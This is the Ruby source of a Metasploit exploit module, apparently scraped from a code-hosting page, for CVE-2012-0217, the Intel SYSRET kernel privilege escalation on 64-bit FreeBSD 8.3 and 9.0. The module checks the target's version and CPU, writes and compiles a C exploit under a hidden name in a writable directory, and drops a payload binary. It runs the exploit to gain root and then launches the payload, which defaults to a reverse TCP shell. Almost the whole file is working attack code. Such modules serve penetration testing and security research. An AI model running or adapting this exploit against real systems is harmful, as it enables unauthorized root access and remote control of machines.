Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/freebsd/local/intel_sysret_priv_esc.rb
Views: 11623
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = GreatRanking78prepend Msf::Exploit::Remote::AutoCheck9include Msf::Post::File10include Msf::Post::Unix11include Msf::Exploit::EXE12include Msf::Exploit::FileDropper1314def initialize(info = {})15super(16update_info(17info,18'Name' => 'FreeBSD Intel SYSRET Privilege Escalation',19'Description' => %q{20This module exploits a vulnerability in the FreeBSD kernel,21when running on 64-bit Intel processors.2223By design, 64-bit processors following the X86-64 specification will24trigger a general protection fault (GPF) when executing a SYSRET25instruction with a non-canonical address in the RCX register.2627However, Intel processors check for a non-canonical address prior to28dropping privileges, causing a GPF in privileged mode. As a result,29the current userland RSP stack pointer is restored and executed,30resulting in privileged code execution.3132This module has been tested successfully on:3334FreeBSD 8.3-RELEASE (amd64); and35FreeBSD 9.0-RELEASE (amd64).36},37'License' => MSF_LICENSE,38'Author' =>39[40'Rafal Wojtczuk', # Discovery41'John Baldwin', # Discovery42'iZsh', # Exploit43'bcoles' # Metasploit44],45'DisclosureDate' => '2012-06-12',46'Platform' => ['bsd'], # FreeBSD47'Arch' => [ARCH_X64],48'SessionTypes' => ['shell'],49'References' =>50[51['BID', '53856'],52['CVE', '2012-0217'],53['EDB', '28718'],54['PACKETSTORM', '113584'],55['URL', 'https://www.freebsd.org/security/patches/SA-12:04/sysret.patch'],56['URL', 'https://blog.xenproject.org/2012/06/13/the-intel-sysret-privilege-escalation/'],57['URL', 'https://github.com/iZsh/exploits/blob/master/stash/CVE-2012-0217-sysret/CVE-2012-0217-sysret_FreeBSD.c'],58['URL', 'https://fail0verflow.com/blog/2012/cve-2012-0217-intel-sysret-freebsd/'],59['URL', 'http://security.freebsd.org/advisories/FreeBSD-SA-12:04.sysret.asc'],60['URL', 'https://www.slideshare.net/nkslides/exploiting-the-linux-kernel-via-intels-sysret-implementation']61],62'Targets' =>63[64['Automatic', {}]65],66'DefaultOptions' => { 'PAYLOAD' => 'bsd/x64/shell_reverse_tcp' },67'DefaultTarget' => 068)69)70register_advanced_options([71OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])72])73end7475def base_dir76datastore['WritableDir'].to_s77end7879def upload(path, data)80print_status("Writing '#{path}' (#{data.size} bytes) ...")81rm_f(path)82write_file(path, data)83register_file_for_cleanup(path)84end8586def upload_and_compile(path, data, _cc_args = '')87upload("#{path}.c", data)8889cc_cmd = "cc -o #{path} #{path}.c"90if session.type.eql?('shell')91cc_cmd = "PATH=$PATH:/usr/bin/ #{cc_cmd}"92end93output = cmd_exec(cc_cmd)9495unless output.blank?96print_error(output)97fail_with(Failure::Unknown, "#{path}.c failed to compile")98end99100register_file_for_cleanup(path)101chmod(path)102end103104def strip_comments(c_code)105c_code.gsub(%r{/\*.*?\*/}m, '').gsub(%r{^\s*//.*$}, '')106end107108def check109kernel_release = cmd_exec('uname -r').to_s110unless kernel_release =~ /^(8\.3|9\.0)-RELEASE/111return CheckCode::Safe("FreeBSD version #{kernel_release} is not vulnerable")112end113vprint_good("FreeBSD version #{kernel_release} appears vulnerable")114115kernel_arch = cmd_exec('uname -m').to_s116unless kernel_arch.include?('64')117return CheckCode::Safe("System architecture #{kernel_arch} is not supported")118end119vprint_good("System architecture #{kernel_arch} is supported")120121hw_model = cmd_exec('/sbin/sysctl hw.model').to_s122unless hw_model.downcase.include?('intel')123return CheckCode::Safe("#{hw_model} is not vulnerable")124end125vprint_good("#{hw_model} is vulnerable")126127CheckCode::Appears128end129130def exploit131if !datastore['ForceExploit'] && is_root?132fail_with(Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.')133end134135unless writable?(base_dir)136fail_with(Failure::BadConfig, "#{base_dir} is not writable")137end138139# Upload and compile exploit executable140executable_name = ".#{rand_text_alphanumeric(5..10)}"141executable_path = "#{base_dir}/#{executable_name}"142upload_and_compile(executable_path, strip_comments(exploit_data('cve-2012-0217', 'sysret.c')), '-Wall')143144# Upload payload executable145payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"146upload_and_chmodx(payload_path, generate_payload_exe)147148# Launch exploit149print_status('Launching exploit...')150output = cmd_exec(executable_path)151output.each_line { |line| vprint_status line.chomp }152153unless is_root?154fail_with(Failure::Unknown, 'Exploitation failed')155end156print_good('Success! Executing payload...')157158cmd_exec("#{payload_path} & echo ")159end160end161162163